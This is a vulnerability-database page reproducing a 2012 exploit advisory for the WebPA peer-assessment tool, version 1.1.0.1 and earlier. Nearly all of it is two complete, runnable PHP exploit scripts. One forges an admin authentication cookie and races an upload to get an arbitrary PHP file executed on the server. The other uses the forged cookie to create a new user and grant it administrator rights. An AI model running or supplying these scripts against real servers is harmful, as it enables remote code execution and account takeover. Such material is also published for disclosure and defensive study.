Lucene search
K

webpa <= 1.1.0.1 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 7 Views

WebPA <= 1.1.0.1 Multiple Vulnerabilities. Arbitrary file upload exploit code for WebPA v1.1.0.1 allows remote attackers to upload and execute arbitrary PHP files via the rdoFileSeperator parameter in a tmp/readfile.php POST request

Code

                                                  :::::::-.   ...    ::::::.    :::.
   ;;,   `&#39;;, ;;     ;;;`;;;;,  `;;;
   `[[     [[[[&#39;     [[[  [[[[[. &#39;[[
    $$,    $$$$      $$$  $$$ &#34;Y$c$$
    888_,o8P&#39;88    .d888  888    Y88
    MMMMP&#34;`   &#34;YmmMMMM&#34;&#34;  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-08-23                              ]
 ##################################################
 # [ WebPA &#60;= 1.1.0.1 ] Multiple Vulnerabilities  #
 ##################################################
 #
 # Script: &#34;WebPA is an open source online peer assessment tool that enables
 #          every team member to recognise individual contributions to group work.&#34;
 #
 # Vendor:   http://www.webpaproject.com/
 # Download: http://sourceforge.net/projects/webpa/files/webpa/
 # Exploits were tested on:
 # Windows (Apache 2.2.17 + php 5.2.17)
 # Linux Centos (Apache 2.2.3 (CentOS) + php 5.2.17)
 #
 ##################################################
 # [ Arbitrary File Upload ]
 # PoC exploit Code:
 &#60;?php
 error_reporting(0);
 set_time_limit(0);
 ini_set(&#34;default_socket_timeout&#34;, 5);

 function http_send($host, $port, $headers) {
  $fp = fsockopen($host, $port);
  if (!$fp) die(&#39;Connection -&#62; fail&#39;);
  fputs($fp, $headers);
  return $fp;
 }

 function http_recv($fp) {
  $ret=&#34;&#34;;
  while (!feof($fp))
   $ret.= fgets($fp, 1024);
  fclose($fp);
  return $ret;
 }

 print &#34;\n#  WebPA v1.1.0.1 Arbitrary File Upload   #\n&#34;;
 print &#34;# Discovered by dun \ posdub[at]gmail.com #\n\n&#34;;
 if ($argc &#60; 3) {
  print &#34;Usage:   php $argv[0] &#60;host&#62; &#60;path&#62;\n&#34;;
  print &#34;Example: php $argv[0] localhost /WebPA/\n&#34;;
  die();
 }

 $host = $argv[1];
 $path = $argv[2];
 $tmp = &#39;tmp/&#39;;
 $temp_prefix=&#39;temp_&#39;;
 $up_file=&#39;phpinfo.php&#39;;
 $i=0;
 // preparing cookie for authentication bypass
 $cookie = base64_encode((time()*2).&#39;|&#39;.(time()*2).&#39;|&#39;.serialize(array(&#39;user_id&#39;=&#62; &#39;1&#39;, &#39;admin&#39;=&#62; &#39;1&#39;)));
 // preparing POST data to perform the maximum delay before deleting temporary php file
 $payload = &#34;-----------------------------187161971819895\r\n&#34;;
 $payload .= &#34;Content-Disposition: form-data; name=\&#34;uploadedfile\&#34;; filename=\&#34;%s\&#34;\r\n&#34;;
 $payload .= &#34;Content-Type: text/plain\r\n\r\n&#34;;
 $payload .= &#34;&#60;?php fwrite(fopen(&#39;%s&#39;,&#39;w&#39;),&#39;&#60;?php phpinfo(); ?&#62;&#39;); ?&#62;!&#34;.str_repeat(&#34;A&#34;,40).&#34;\r\n&#34;;
 // making max lag, before unlink
 $payload .= str_repeat(str_repeat(&#34;A!&#34;,1).&#34;!&#34;.str_repeat(&#34;A!&#34;,4).&#34;\r\n&#34;,1000).&#34;\r\n&#34;; 
 $payload .= &#34;-----------------------------187161971819895\r\n&#34;;
 $payload .= &#34;Content-Disposition: form-data; name=\&#34;rdoFileContentType\&#34;\r\n\r\n&#34;;
 $payload .= &#34;2\r\n&#34;;
 $payload .= &#34;-----------------------------187161971819895\r\n&#34;;
 $payload .= &#34;Content-Disposition: form-data; name=\&#34;rdoFileSeperator\&#34;\r\n\r\n&#34;;
 $payload .= &#34;!\r\n&#34;;
 $payload .= &#34;-----------------------------187161971819895--\r\n&#34;;
 $headers = &#34;POST {$path}{$tmp}readfile.php HTTP/1.1\r\n&#34;;
 $headers .= &#34;Host: {$host}\r\n&#34;;
 $headers .= &#34;Connection: close\r\n&#34;;
 $headers .= &#34;Cookie: AUTH_COOKIE={$cookie}\r\n&#34;;
 $headers .= &#34;Content-Type: multipart/form-data; boundary=---------------------------187161971819895\r\n&#34;;
 $headers .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n\r\n&#34;;
 $headers .= sprintf($payload, $temp_prefix.$up_file, $up_file);
 fclose(http_send($host, 80, $headers));
 $headers = &#34;GET {$path}{$tmp}%s HTTP/1.0\r\n&#34;;
 $headers .= &#34;Host: {$host}\r\n&#34;;
 $headers .= &#34;Connection: close\r\n\r\n&#34;;

 while(++$i&#60;1000) {
    $res=http_recv(http_send($host, 80, sprintf($headers, $temp_prefix.$up_file)));
    if(!preg_match(&#39;/404 Not Found/&#39;,$res)) {
     $res=http_recv(http_send($host, 80, sprintf($headers, $up_file)));
      if(preg_match(&#39;/200 OK/&#39;,$res))
        print &#34;Success!\n\nUploaded file: http://{$host}{$path}{$tmp}{$up_file}\n&#34;;
      break;
    }
 }
 if($i==1000) print &#34;Failed.\n&#34;;
 ?&#62;
 #
 ##################################################
 # [ Arbitrary Add Admin ]
 # PoC exploit Code:
 &#60;?php
 error_reporting(0);
 set_time_limit(0);
 ini_set(&#34;default_socket_timeout&#34;, 5);

 function http_send($host, $port, $headers) {
  $fp = fsockopen($host, $port);
  if (!$fp) die(&#39;Connection -&#62; fail&#39;);
  fputs($fp, $headers);
  return $fp;
 }

 function http_recv($fp) {
  $ret=&#34;&#34;;
  while (!feof($fp))
   $ret.= fgets($fp, 1024);
  fclose($fp);
  return $ret;
 }

 print &#34;\n# WebPA v1.1.0.1 Arbitrary Add Admin Exploit #\n&#34;;
 print &#34;# Discovered by dun  \  posdub[at]gmail.com  #\n\n&#34;;
 if ($argc &#60; 5) {
  print &#34;Usage:   php $argv[0] &#60;host&#62; &#60;path&#62; username password\n&#34;;
  print &#34;Example: php $argv[0] localhost /WebPA/ foo bar\n&#34;;
  die();
 }

 $host = $argv[1];
 $path = $argv[2];
 $newuser = $argv[3];
 $newpass = $argv[4];
 $cookie = base64_encode((time()*2).&#39;|&#39;.(time()*2).&#39;|&#39;.serialize(array( &#39;user_id&#39;=&#62; &#39;1&#39;, &#39;admin&#39;=&#62; &#39;1&#39; )));
 print &#34;Adding a new user [ {$newuser} : {$newpass} ]\n&#34;;
 $payload = &#34;-----------------------------187161971819895\r\n&#34;;
 $payload .= &#34;Content-Disposition: form-data; name=\&#34;uploadedfile\&#34;; filename=\&#34;user.csv\&#34;\r\n&#34;;
 $payload .= &#34;Content-Type: text/csv\r\n\r\n&#34;;
 $payload .= &#34;institutional_reference,forename,lastname,email,username,module_code,department_id,course_id,password\r\n&#34;;
 $payload .= &#34;1,2,3,4,{$newuser},6,7,8,{$newpass}\r\n\r\n&#34;;
 $payload .= &#34;-----------------------------187161971819895\r\n&#34;;
 $payload .= &#34;Content-Disposition: form-data; name=\&#34;rdoFileContentType\&#34;\r\n\r\n&#34;;
 $payload .= &#34;2\r\n&#34;;
 $payload .= &#34;-----------------------------187161971819895--\r\n&#34;;
 $headers = &#34;POST {$path}admin/load/simple.php HTTP/1.1\r\n&#34;;
 $headers .= &#34;Host: {$host}\r\n&#34;;
 $headers .= &#34;Connection: close\r\n&#34;;
 $headers .= &#34;Cookie: AUTH_COOKIE={$cookie}\r\n&#34;;
 $headers .= &#34;Content-Type: multipart/form-data; boundary=---------------------------187161971819895\r\n&#34;;
 $headers .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n\r\n&#34;;
 $headers .= ($payload);
 fclose(http_send($host, 80, $headers));
 sleep(2);
 print &#34;Granting admin privileges for user [ {$newuser} ]\n&#34;;
 $headers = &#34;GET {$path}admin/review/staff/index.php HTTP/1.0\r\n&#34;;
 $headers .= &#34;Host: {$host}\r\n&#34;;
 $headers .= &#34;Connection: close\r\n&#34;;
 $headers .= &#34;Cookie: AUTH_COOKIE={$cookie}\r\n\r\n&#34;;
 preg_match_all(&#39;/php\?u=(\d+)/&#39;,http_recv(http_send($host, 80, $headers)) , $matches);
 if(!is_numeric(max($matches[1]))) die(&#39;Failed.&#39;);
 sleep(2);
 $payload = &#34;rdo_type=staff&name=1&surname=2&email=3&password={$newpass}&chk_admin=on&save=&#34;.urlencode(&#39;Save Changes&#39;);
 $headers = &#34;POST {$path}admin/edit/index.php?u=&#34;.max($matches[1]).&#34; HTTP/1.0\r\n&#34;;
 $headers .= &#34;Host: {$host}\r\n&#34;;
 $headers .= &#34;Connection: close\r\n&#34;;
 $headers .= &#34;Cookie: AUTH_COOKIE={$cookie}\r\n&#34;;
 $headers .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
 $headers .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n\r\n&#34;;
 $headers .= ($payload);
 fclose(http_send($host, 80, $headers));
 print &#34;Success!\n\n&#34;;
 print &#34;http://{$host}{$path}login.php\n&#34;;
 print &#34;user: {$newuser}\n&#34;;
 print &#34;pass: {$newpass}\n&#34;;
 ?&#62;
 #
 ### [ dun / 2012 ] ###############################

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation